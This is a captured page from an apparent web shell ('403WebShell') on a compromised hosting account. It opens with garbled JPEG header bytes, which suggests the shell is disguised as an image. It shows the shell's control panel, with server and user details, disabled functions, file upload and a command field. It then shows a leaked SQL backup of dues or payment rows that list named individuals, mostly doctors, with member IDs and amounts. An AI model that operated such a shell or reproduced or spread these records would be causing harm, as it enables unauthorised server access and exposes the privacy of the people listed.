JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 84.32.84.124  /  Your IP : 216.73.216.254
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/home/u686484674/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/u686484674//backup_part_ao
(6727, 'dr. Aditiya Amini Inggriani, S', 'RAB241022000401', 'IDB241022206666', '2026-07-24', 'Juli \r\n									2026', NULL, 30000, NULL, 'valid', '', '2026'),
(6728, 'dr. Aditiya Amini Inggriani, S', 'RAB241022000401', 'IDB241022206666', '2026-08-24', 'Agustus \r\n									2', NULL, 30000, NULL, 'valid', '', '2026'),
(6729, 'dr. Aditiya Amini Inggriani, S', 'RAB241022000401', 'IDB241022206666', '2026-09-24', 'September \r\n								', NULL, 30000, NULL, 'valid', '', '2026'),
(6730, 'dr. Aditiya Amini Inggriani, S', 'RAB241022000401', 'IDB241022206666', '2026-10-24', 'Oktober \r\n									2', NULL, 30000, NULL, 'valid', '', '2026'),
(6731, 'dr. Aditiya Amini Inggriani, S', 'RAB241022000401', 'IDB241022206666', '2026-11-24', 'November \r\n									', NULL, 30000, NULL, 'valid', '', '2026'),
(6732, 'dr. Aditiya Amini Inggriani, S', 'RAB241022000401', 'IDB241022206666', '2026-12-24', 'Desember \r\n									', NULL, 30000, NULL, 'valid', '', '2026'),
(6733, 'dr. Aditiya Amini Inggriani, S', 'RAB241022000401', 'IDB241022206666', '2027-01-24', 'Januari \r\n									2', NULL, 30000, NULL, 'valid', '', '2027'),
(6734, 'dr. Aditiya Amini Inggriani, S', 'RAB241022000401', 'IDB241022206666', '2027-02-24', 'Februari \r\n									', NULL, 30000, NULL, 'valid', '', '2027'),
(6735, 'dr. Aditiya Amini Inggriani, S', 'RAB241022000401', 'IDB241022206666', '2027-03-24', 'Maret \r\n									202', NULL, 30000, NULL, 'valid', '', '2027'),
(6736, 'dr. Aditiya Amini Inggriani, S', 'RAB241022000401', 'IDB241022206666', '2027-04-24', 'April \r\n									202', NULL, 30000, NULL, 'valid', '', '2027'),
(6737, 'dr. Aditiya Amini Inggriani, S', 'RAB241022000401', 'IDB241022206666', '2027-05-24', 'Mei \r\n									2027', NULL, 30000, NULL, 'valid', '', '2027'),
(6738, 'dr. Aditiya Amini Inggriani, S', 'RAB241022000401', 'IDB241022206666', '2027-06-24', 'Juni \r\n									2027', NULL, 30000, NULL, 'valid', '', '2027'),
(6739, 'dr. Aditiya Amini Inggriani, S', 'RAB241022000401', 'IDB241022206666', '2027-07-24', 'Juli \r\n									2027', NULL, 30000, NULL, 'valid', '', '2027'),
(6740, 'dr. Aditiya Amini Inggriani, S', 'RAB241022000401', 'IDB241022206666', '2027-08-24', 'Agustus \r\n									2', NULL, 30000, NULL, 'valid', '', '2027'),
(6741, 'dr. Aditiya Amini Inggriani, S', 'RAB241022000401', 'IDB241022206666', '2027-09-24', 'September \r\n								', NULL, 30000, NULL, 'valid', '', '2027'),
(6742, 'dr. Aditiya Amini Inggriani, S', 'RAB241022000401', 'IDB241022206666', '2027-10-24', 'Oktober \r\n									2', NULL, 30000, NULL, 'valid', '', '2027'),
(6743, 'dr. Aditiya Amini Inggriani, S', 'RAB241022000401', 'IDB241022206666', '2027-11-24', 'November \r\n									', NULL, 30000, NULL, 'valid', '', '2027'),
(6744, 'dr. Aditiya Amini Inggriani, S', 'RAB241022000401', 'IDB241022206666', '2027-12-24', 'Desember \r\n									', NULL, 30000, NULL, 'valid', '', '2027'),
(6745, 'dr. Aditiya Amini Inggriani, S', 'RAB241022000401', 'IDB241022206666', '2028-01-24', 'Januari \r\n									2', NULL, 30000, NULL, 'valid', '', '2028'),
(6746, 'dr. Aditiya Amini Inggriani, S', 'RAB241022000401', 'IDB241022206666', '2028-02-24', 'Februari \r\n									', NULL, 30000, NULL, 'valid', '', '2028'),
(6747, 'dr. Aditiya Amini Inggriani, S', 'RAB241022000401', 'IDB241022206666', '2028-03-24', 'Maret \r\n									202', NULL, 30000, NULL, 'valid', '', '2028'),
(6748, 'dr. Aditiya Amini Inggriani, S', 'RAB241022000401', 'IDB241022206666', '2028-04-24', 'April \r\n									202', NULL, 30000, NULL, 'valid', '', '2028'),
(6749, 'dr. Aditiya Amini Inggriani, S', 'RAB241022000401', 'IDB241022206666', '2028-05-24', 'Mei \r\n									2028', NULL, 30000, NULL, 'valid', '', '2028'),
(6750, 'dr. Aditiya Amini Inggriani, S', 'RAB241022000401', 'IDB241022206666', '2028-06-24', 'Juni \r\n									2028', NULL, 30000, NULL, 'valid', '', '2028'),
(6751, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2019-01-01', 'Januari 2019', NULL, 20000, NULL, 'valid', '', '2019'),
(6752, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2019-02-01', 'Februari 2019', NULL, 20000, NULL, 'valid', '', '2019'),
(6753, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2019-03-01', 'Maret 2019', NULL, 20000, NULL, 'valid', '', '2019'),
(6754, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2019-04-01', 'April 2019', NULL, 20000, NULL, 'valid', '', '2019'),
(6755, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2019-05-01', 'Mei 2019', NULL, 20000, NULL, 'valid', '', '2019'),
(6756, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2019-06-01', 'Juni 2019', NULL, 20000, NULL, 'valid', '', '2019'),
(6757, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2019-07-01', 'Juli 2019', NULL, 20000, NULL, 'valid', '', '2019'),
(6758, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2019-08-01', 'Agustus 2019', NULL, 20000, NULL, 'valid', '', '2019'),
(6759, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2019-09-01', 'September 2019', NULL, 20000, NULL, 'valid', '', '2019'),
(6760, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2019-10-01', 'Oktober 2019', NULL, 20000, NULL, 'valid', '', '2019'),
(6761, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2019-11-01', 'November 2019', NULL, 20000, NULL, 'valid', '', '2019'),
(6762, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2019-12-01', 'Desember 2019', NULL, 20000, NULL, 'valid', '', '2019'),
(6763, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2020-01-01', 'Januari 2020', NULL, 20000, NULL, 'valid', '', '2020'),
(6764, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2020-02-01', 'Februari 2020', NULL, 20000, NULL, 'valid', '', '2020'),
(6765, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2020-03-01', 'Maret 2020', NULL, 20000, NULL, 'valid', '', '2020'),
(6766, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2020-04-01', 'April 2020', NULL, 20000, NULL, 'valid', '', '2020'),
(6767, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2020-05-01', 'Mei 2020', NULL, 20000, NULL, 'valid', '', '2020'),
(6768, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2020-06-01', 'Juni 2020', NULL, 20000, NULL, 'valid', '', '2020'),
(6769, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2020-07-01', 'Juli 2020', NULL, 20000, NULL, 'valid', '', '2020'),
(6770, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2020-08-01', 'Agustus 2020', NULL, 20000, NULL, 'valid', '', '2020'),
(6771, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2020-09-01', 'September 2020', NULL, 20000, NULL, 'valid', '', '2020'),
(6772, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2020-10-01', 'Oktober 2020', NULL, 20000, NULL, 'valid', '', '2020'),
(6773, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2020-11-01', 'November 2020', NULL, 20000, NULL, 'valid', '', '2020'),
(6774, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2020-12-01', 'Desember 2020', NULL, 20000, NULL, 'valid', '', '2020'),
(6775, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2021-01-01', 'Januari 2021', NULL, 20000, NULL, 'valid', '', '2021'),
(6776, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2021-02-01', 'Februari 2021', NULL, 20000, NULL, 'valid', '', '2021'),
(6777, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2021-03-01', 'Maret 2021', NULL, 20000, NULL, 'valid', '', '2021'),
(6778, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2021-04-01', 'April 2021', NULL, 20000, NULL, 'valid', '', '2021'),
(6779, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2021-05-01', 'Mei 2021', NULL, 20000, NULL, 'valid', '', '2021'),
(6780, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2021-06-01', 'Juni 2021', NULL, 20000, NULL, 'valid', '', '2021'),
(6781, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2021-07-01', 'Juli 2021', NULL, 20000, NULL, 'valid', '', '2021'),
(6782, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2021-08-01', 'Agustus 2021', NULL, 20000, NULL, 'valid', '', '2021'),
(6783, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2021-09-01', 'September 2021', NULL, 20000, NULL, 'valid', '', '2021'),
(6784, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2021-10-01', 'Oktober 2021', NULL, 20000, NULL, 'valid', '', '2021'),
(6785, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2021-11-01', 'November 2021', NULL, 20000, NULL, 'valid', '', '2021'),
(6786, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2021-12-01', 'Desember 2021', NULL, 20000, NULL, 'valid', '', '2021'),
(6787, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2022-01-01', 'Januari 2022', NULL, 20000, NULL, 'valid', '', '2022'),
(6788, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2022-02-01', 'Februari 2022', NULL, 20000, NULL, 'valid', '', '2022'),
(6789, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2022-03-01', 'Maret 2022', NULL, 20000, NULL, 'valid', '', '2022'),
(6790, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2022-04-01', 'April 2022', NULL, 20000, NULL, 'valid', '', '2022'),
(6791, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2022-05-01', 'Mei 2022', NULL, 20000, NULL, 'valid', '', '2022'),
(6792, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2022-06-01', 'Juni 2022', NULL, 20000, NULL, 'valid', '', '2022'),
(6793, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2022-07-01', 'Juli 2022', NULL, 20000, NULL, 'valid', '', '2022'),
(6794, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2022-08-01', 'Agustus 2022', NULL, 20000, NULL, 'valid', '', '2022'),
(6795, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2022-09-01', 'September 2022', NULL, 20000, NULL, 'valid', '', '2022'),
(6796, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2022-10-01', 'Oktober 2022', NULL, 20000, NULL, 'valid', '', '2022'),
(6797, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2022-11-01', 'November 2022', NULL, 20000, NULL, 'valid', '', '2022'),
(6798, 'Raden Raspati Cundarani Koesoe', 'REK251022IUR3710', 'IDB241022206667', '2022-12-01', 'Desember 2022', NULL, 20000, NULL, 'valid', '', '2022'),
(6799, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2018-01-01', 'Januari 2018', NULL, 15000, NULL, 'valid', '', '2018'),
(6800, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2018-02-01', 'Februari 2018', NULL, 15000, NULL, 'valid', '', '2018'),
(6801, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2018-03-01', 'Maret 2018', NULL, 15000, NULL, 'valid', '', '2018'),
(6802, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2018-04-01', 'April 2018', NULL, 15000, NULL, 'valid', '', '2018'),
(6803, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2018-05-01', 'Mei 2018', NULL, 15000, NULL, 'valid', '', '2018'),
(6804, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2018-06-01', 'Juni 2018', NULL, 15000, NULL, 'valid', '', '2018'),
(6805, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2018-07-01', 'Juli 2018', NULL, 15000, NULL, 'valid', '', '2018'),
(6806, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2018-08-01', 'Agustus 2018', NULL, 15000, NULL, 'valid', '', '2018'),
(6807, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2018-09-01', 'September 2018', NULL, 15000, NULL, 'valid', '', '2018'),
(6808, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2018-10-01', 'Oktober 2018', NULL, 15000, NULL, 'valid', '', '2018'),
(6809, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2018-11-01', 'November 2018', NULL, 15000, NULL, 'valid', '', '2018'),
(6810, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2018-12-01', 'Desember 2018', NULL, 15000, NULL, 'valid', '', '2018'),
(6811, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2019-01-01', 'Januari 2019', NULL, 15000, NULL, 'valid', '', '2019'),
(6812, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2019-02-01', 'Februari 2019', NULL, 15000, NULL, 'valid', '', '2019'),
(6813, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2019-03-01', 'Maret 2019', NULL, 15000, NULL, 'valid', '', '2019'),
(6814, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2019-04-01', 'April 2019', NULL, 15000, NULL, 'valid', '', '2019'),
(6815, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2019-05-01', 'Mei 2019', NULL, 15000, NULL, 'valid', '', '2019'),
(6816, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2019-06-01', 'Juni 2019', NULL, 15000, NULL, 'valid', '', '2019'),
(6817, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2019-07-01', 'Juli 2019', NULL, 15000, NULL, 'valid', '', '2019'),
(6818, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2019-08-01', 'Agustus 2019', NULL, 15000, NULL, 'valid', '', '2019'),
(6819, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2019-09-01', 'September 2019', NULL, 15000, NULL, 'valid', '', '2019'),
(6820, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2019-10-01', 'Oktober 2019', NULL, 15000, NULL, 'valid', '', '2019'),
(6821, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2019-11-01', 'November 2019', NULL, 15000, NULL, 'valid', '', '2019'),
(6822, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2019-12-01', 'Desember 2019', NULL, 15000, NULL, 'valid', '', '2019'),
(6823, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2020-01-01', 'Januari 2020', NULL, 15000, NULL, 'valid', '', '2020'),
(6824, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2020-02-01', 'Februari 2020', NULL, 15000, NULL, 'valid', '', '2020'),
(6825, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2020-03-01', 'Maret 2020', NULL, 15000, NULL, 'valid', '', '2020'),
(6826, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2020-04-01', 'April 2020', NULL, 15000, NULL, 'valid', '', '2020'),
(6827, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2020-05-01', 'Mei 2020', NULL, 15000, NULL, 'valid', '', '2020'),
(6828, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2020-06-01', 'Juni 2020', NULL, 15000, NULL, 'valid', '', '2020'),
(6829, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2020-07-01', 'Juli 2020', NULL, 15000, NULL, 'valid', '', '2020'),
(6830, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2020-08-01', 'Agustus 2020', NULL, 15000, NULL, 'valid', '', '2020'),
(6831, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2020-09-01', 'September 2020', NULL, 15000, NULL, 'valid', '', '2020'),
(6832, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2020-10-01', 'Oktober 2020', NULL, 15000, NULL, 'valid', '', '2020'),
(6833, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2020-11-01', 'November 2020', NULL, 15000, NULL, 'valid', '', '2020'),
(6834, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2020-12-01', 'Desember 2020', NULL, 15000, NULL, 'valid', '', '2020'),
(6835, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2021-01-01', 'Januari 2021', NULL, 15000, NULL, 'valid', '', '2021'),
(6836, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2021-02-01', 'Februari 2021', NULL, 15000, NULL, 'valid', '', '2021'),
(6837, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2021-03-01', 'Maret 2021', NULL, 15000, NULL, 'valid', '', '2021'),
(6838, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2021-04-01', 'April 2021', NULL, 15000, NULL, 'valid', '', '2021'),
(6839, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2021-05-01', 'Mei 2021', NULL, 15000, NULL, 'valid', '', '2021'),
(6840, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2021-06-01', 'Juni 2021', NULL, 15000, NULL, 'valid', '', '2021'),
(6841, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2021-07-01', 'Juli 2021', NULL, 15000, NULL, 'valid', '', '2021'),
(6842, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2021-08-01', 'Agustus 2021', NULL, 15000, NULL, 'valid', '', '2021'),
(6843, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2021-09-01', 'September 2021', NULL, 15000, NULL, 'valid', '', '2021'),
(6844, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2021-10-01', 'Oktober 2021', NULL, 15000, NULL, 'valid', '', '2021'),
(6845, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2021-11-01', 'November 2021', NULL, 15000, NULL, 'valid', '', '2021'),
(6846, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2021-12-01', 'Desember 2021', NULL, 15000, NULL, 'valid', '', '2021'),
(6847, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2022-01-01', 'Januari 2022', NULL, 15000, NULL, 'valid', '', '2022'),
(6848, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2022-02-01', 'Februari 2022', NULL, 15000, NULL, 'valid', '', '2022'),
(6849, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2022-03-01', 'Maret 2022', NULL, 15000, NULL, 'valid', '', '2022'),
(6850, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2022-04-01', 'April 2022', NULL, 15000, NULL, 'valid', '', '2022'),
(6851, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2022-05-01', 'Mei 2022', NULL, 15000, NULL, 'valid', '', '2022'),
(6852, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2022-06-01', 'Juni 2022', NULL, 15000, NULL, 'valid', '', '2022'),
(6853, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2022-07-01', 'Juli 2022', NULL, 15000, NULL, 'valid', '', '2022'),
(6854, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2022-08-01', 'Agustus 2022', NULL, 15000, NULL, 'valid', '', '2022'),
(6855, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2022-09-01', 'September 2022', NULL, 15000, NULL, 'valid', '', '2022'),
(6856, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2022-10-01', 'Oktober 2022', NULL, 15000, NULL, 'valid', '', '2022'),
(6857, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2022-11-01', 'November 2022', NULL, 15000, NULL, 'valid', '', '2022'),
(6858, 'Nur Afifah, dr.', 'REK251022IUR3711', 'IDB200222005411', '2022-12-01', 'Desember 2022', NULL, 15000, NULL, 'valid', '', '2022'),
(6859, 'Katheline Tamara', 'RAB211022000399', 'IDB201022206650', '2022-10-21', 'Oktober \r\n									2', NULL, 30000, NULL, 'valid', '', '2022'),
(6860, 'Katheline Tamara', 'RAB211022000399', 'IDB201022206650', '2022-11-21', 'November \r\n									', NULL, 30000, NULL, 'valid', '', '2022'),
(6861, 'Katheline Tamara', 'RAB211022000399', 'IDB201022206650', '2022-12-21', 'Desember \r\n									', NULL, 30000, NULL, 'valid', '', '2022'),
(6862, 'Katheline Tamara', 'RAB211022000399', 'IDB201022206650', '2023-01-21', 'Januari \r\n									2', NULL, 30000, NULL, 'valid', '', '2023'),
(6863, 'Katheline Tamara', 'RAB211022000399', 'IDB201022206650', '2023-02-21', 'Februari \r\n									', NULL, 30000, NULL, 'valid', '', '2023'),
(6864, 'Katheline Tamara', 'RAB211022000399', 'IDB201022206650', '2023-03-21', 'Maret \r\n									202', NULL, 30000, NULL, 'valid', '', '2023'),
(6865, 'Katheline Tamara', 'RAB211022000399', 'IDB201022206650', '2023-04-21', 'April \r\n									202', NULL, 30000, NULL, 'valid', '', '2023'),
(6866, 'Katheline Tamara', 'RAB211022000399', 'IDB201022206650', '2023-05-21', 'Mei \r\n									2023', NULL, 30000, NULL, 'valid', '', '2023'),
(6867, 'Katheline Tamara', 'RAB211022000399', 'IDB201022206650', '2023-06-21', 'Juni \r\n									2023', NULL, 30000, NULL, 'valid', '', '2023'),
(6868, 'Katheline Tamara', 'RAB211022000399', 'IDB201022206650', '2023-07-21', 'Juli \r\n									2023', NULL, 30000, NULL, 'valid', '', '2023'),
(6869, 'Katheline Tamara', 'RAB211022000399', 'IDB201022206650', '2023-08-21', 'Agustus \r\n									2', NULL, 30000, NULL, 'valid', '', '2023'),
(6870, 'Katheline Tamara', 'RAB211022000399', 'IDB201022206650', '2023-09-21', 'September \r\n								', NULL, 30000, NULL, 'valid', '', '2023'),
(6871, 'Katheline Tamara', 'RAB211022000399', 'IDB201022206650', '2023-10-21', 'Oktober \r\n									2', NULL, 30000, NULL, 'valid', '', '2023'),
(6872, 'Katheline Tamara', 'RAB211022000399', 'IDB201022206650', '2023-11-21', 'November \r\n									', NULL, 30000, NULL, 'valid', '', '2023'),
(6873, 'Katheline Tamara', 'RAB211022000399', 'IDB201022206650', '2023-12-21', 'Desember \r\n									', NULL, 30000, NULL, 'valid', '', '2023'),
(6874, 'Katheline Tamara', 'RAB211022000399', 'IDB201022206650', '2024-01-21', 'Januari \r\n									2', NULL, 30000, NULL, 'valid', '', '2024'),
(6875, 'Katheline Tamara', 'RAB211022000399', 'IDB201022206650', '2024-02-21', 'Februari \r\n									', NULL, 30000, NULL, 'valid', '', '2024'),
(6876, 'Katheline Tamara', 'RAB211022000399', 'IDB201022206650', '2024-03-21', 'Maret \r\n									202', NULL, 30000, NULL, 'valid', '', '2024'),
(6877, 'Katheline Tamara', 'RAB211022000399', 'IDB201022206650', '2024-04-21', 'April \r\n									202', NULL, 30000, NULL, 'valid', '', '2024'),
